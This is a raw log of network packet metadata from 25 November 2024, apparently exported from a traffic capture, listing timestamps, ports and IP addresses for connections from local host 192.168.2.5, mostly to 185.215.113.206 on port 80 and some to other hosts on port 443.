Nov 25, 2024 18:28:41.327549934 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.327598095 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.328248024 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.328304052 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.328421116 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.328541994 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.329118967 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.329181910 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.329341888 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.329391003 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.330007076 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.330058098 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.330233097 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.330316067 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.330972910 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.330991983 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.331048012 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.331940889 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.332001925 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.332036972 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.332081079 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.332741022 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.332798958 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.333403111 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.333451986 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.333703041 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.333724976 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.333770990 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.334603071 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.334655046 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.335443020 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.335577011 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.335760117 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.335772991 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.335804939 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.335819960 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.443588972 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.443664074 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.443666935 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.443789005 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.444099903 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.444149017 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.444175005 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.444207907 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.444740057 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.444751024 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.444793940 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.445647001 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.445658922 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.445727110 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.446547985 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.446599007 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.446732998 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.446779013 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.447402954 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.447453022 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.447474003 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.447535992 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.448374987 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.448388100 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.448431015 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.449281931 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.449379921 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.449389935 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.449425936 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.450298071 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.450359106 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.450450897 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.450486898 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.451184034 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.451195955 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.451257944 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.451987982 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.452100992 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.452147007 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.452224970 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.452824116 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.452872992 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.453454018 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.453502893 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.453766108 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.453824997 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.453903913 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.453943968 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.454663992 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.454757929 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.454788923 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.454816103 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.455578089 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.455632925 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.455670118 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.455709934 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.456228018 CET	443	49826	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:41.456248999 CET	443	49826	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:41.456285000 CET	443	49826	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:41.456310987 CET	49826	443	192.168.2.5	20.190.181.4
Nov 25, 2024 18:28:41.456337929 CET	443	49826	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:41.456353903 CET	49826	443	192.168.2.5	20.190.181.4
Nov 25, 2024 18:28:41.456429005 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.456507921 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.456604004 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.456643105 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.456751108 CET	49826	443	192.168.2.5	20.190.181.4
Nov 25, 2024 18:28:41.456779957 CET	443	49826	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:41.456794977 CET	49826	443	192.168.2.5	20.190.181.4
Nov 25, 2024 18:28:41.457138062 CET	443	49826	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:41.457169056 CET	443	49826	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:41.457214117 CET	49826	443	192.168.2.5	20.190.181.4
Nov 25, 2024 18:28:41.457381964 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.457437038 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.457472086 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.457606077 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.458273888 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.458345890 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.458390951 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.459163904 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.459218979 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.459285021 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.459327936 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.460155010 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.460175037 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.460241079 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.461016893 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.461049080 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.461112976 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.461112976 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.461920977 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.461932898 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.461982965 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.462891102 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.462903023 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.462934017 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.462949991 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.463706970 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.463762999 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.463785887 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.463824987 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.464660883 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.464673042 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.464719057 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.465543985 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.465609074 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.465617895 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.465749979 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.466861010 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.466872931 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.466907024 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.466921091 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.467672110 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.467727900 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.467873096 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.467912912 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.468646049 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.468697071 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.468712091 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.468751907 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.469609976 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.469660044 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.469826937 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.469893932 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.470568895 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.470612049 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.470733881 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.470779896 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.471338987 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.471395016 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.471474886 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.471584082 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.471992970 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.472049952 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.472420931 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.472470999 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.472867012 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.472937107 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.473193884 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.473239899 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.473664999 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.473675966 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.473716021 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.519376993 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.519452095 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.519474983 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.519500017 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.519678116 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.519763947 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.519768953 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.519949913 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.520591021 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.520638943 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.520673037 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.520826101 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.521491051 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.521542072 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.521699905 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.521758080 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.522450924 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.522499084 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.522582054 CET	443	49829	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:41.522646904 CET	443	49829	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:41.522646904 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.522699118 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.522855043 CET	49829	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:41.523087025 CET	49829	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:41.523098946 CET	443	49829	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:41.523123026 CET	49829	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:41.523128986 CET	443	49829	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:41.523341894 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.523390055 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.523914099 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.523957968 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.524384022 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.524429083 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.524446964 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.524645090 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.525291920 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.525352001 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.529540062 CET	49842	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:41.529573917 CET	443	49842	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:41.529639959 CET	49842	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:41.529866934 CET	49842	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:41.529877901 CET	443	49842	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:41.530046940 CET	443	49830	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:41.530121088 CET	443	49830	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:41.530179024 CET	49830	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:41.530296087 CET	49830	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:41.530314922 CET	443	49830	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:41.530328035 CET	49830	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:41.530334949 CET	443	49830	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:41.533051014 CET	49843	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:41.533087969 CET	443	49843	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:41.533149958 CET	49843	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:41.533401012 CET	49843	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:41.533411980 CET	443	49843	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:41.571676016 CET	443	49831	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:41.571743965 CET	443	49831	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:41.572309971 CET	49831	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:41.574538946 CET	49831	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:41.574551105 CET	443	49831	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:41.574563026 CET	49831	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:41.574568033 CET	443	49831	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:41.575949907 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.576028109 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.576129913 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.576175928 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.576518059 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.576530933 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.576559067 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.576572895 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.577307940 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.577353954 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.577395916 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.577462912 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.578192949 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.578248024 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.578566074 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.578613997 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.579117060 CET	49844	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:41.579123974 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.579157114 CET	443	49844	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:41.579216003 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.579225063 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.579276085 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.579289913 CET	49844	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:41.579432011 CET	49844	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:41.579446077 CET	443	49844	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:41.580008984 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.580074072 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.580348969 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.580395937 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.580900908 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.580960035 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.581257105 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.581374884 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.581846952 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.581901073 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.581984043 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.582031965 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.582762957 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.582818985 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.582878113 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.582916975 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.584893942 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.584950924 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.584958076 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.584969044 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.585007906 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.585007906 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.585043907 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.585081100 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.585445881 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.585544109 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.585902929 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.585953951 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.586359024 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.586397886 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.586877108 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.586922884 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.587326050 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.587374926 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.644804001 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.644871950 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.644989014 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.645030975 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.645227909 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.645308971 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.645457029 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.645500898 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.646140099 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.646210909 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.646245003 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.646718979 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.646903992 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.647002935 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.647133112 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.647222042 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.647943974 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.647957087 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.647989988 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.648005962 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.648649931 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.648663998 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.648706913 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.649511099 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.649554968 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.649591923 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.649816036 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.650419950 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.650475979 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.650891066 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.651016951 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.651352882 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.651400089 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.651437998 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.652365923 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.652410030 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.652510881 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.652556896 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:41.653312922 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.653326035 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:41.653362989 CET	49761	80	192.168.2.5	185.215.113.206
